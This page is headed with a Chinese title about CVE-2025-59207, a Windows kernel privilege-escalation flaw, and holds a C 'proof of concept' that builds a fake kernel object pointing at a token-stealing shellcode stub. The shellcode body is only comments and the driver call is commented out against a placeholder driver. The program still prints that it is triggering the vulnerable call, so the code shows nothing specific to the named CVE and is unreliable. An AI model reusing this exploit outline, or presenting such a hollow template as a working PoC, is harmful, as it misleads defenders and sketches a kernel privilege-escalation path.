CVE-2025-59207 Windows内核不可信指针解引用权限提升漏洞

// CVE-2025-59207 - Windows Kernel Untrusted Pointer Dereference PoC // This is a conceptual PoC demonstrating the vulnerability pattern. // Actual exploitation requires kernel object manipulation. #include <windows.h> #include <stdio.h> // Fake kernel object structure to trigger untrusted pointer dereference typedef struct _FAKE_KERNEL_OBJECT { DWORD header; PVOID functionTable; // Untrusted pointer - kernel will dereference this ULONG refCount; ULONG reserved; } FAKE_KERNEL_OBJECT, *PFAKE_KERNEL_OBJECT; // Shellcode to be executed in kernel context (privilege escalation payload) // In a real exploit, this would steal the SYSTEM token from EPROCESS __declspec(naked) void KernelShellcode() { __asm { // Save registers pushad // Token stealing shellcode would go here // Locate current process EPROCESS // Find SYSTEM process EPROCESS // Copy SYSTEM token to current process // Restore registers and return popad ret } } int main() { printf("[*] CVE-2025-59207 PoC - Windows Kernel Untrusted Pointer Dereference\n"); // Step 1: Allocate fake kernel object in user-mode memory FAKE_KERNEL_OBJECT fakeObj; ZeroMemory(&fakeObj, sizeof(fakeObj)); // Step 2: Set the untrusted pointer to point to our shellcode fakeObj.functionTable = (PVOID)KernelShellcode; fakeObj.refCount = 1; // Step 3: Trigger the vulnerable kernel API with our fake object pointer // The vulnerable function fails to validate the pointer before dereferencing // HANDLE hDevice = CreateFileA("\\\\.\\\\VulnerableDriver", ...); // DeviceIoControl(hDevice, IOCTL_CODE, &fakeObj, sizeof(fakeObj), ...); printf("[+] Fake kernel object prepared at: 0x%p\n", &fakeObj); printf("[+] Untrusted pointer set to: 0x%p\n", fakeObj.functionTable); printf("[!] Triggering vulnerable kernel call...\n"); // In a real scenario, the kernel would dereference fakeObj.functionTable // and execute our shellcode with kernel privileges printf("[*] PoC demonstration complete. Apply MS patches immediately.\n"); return 0; }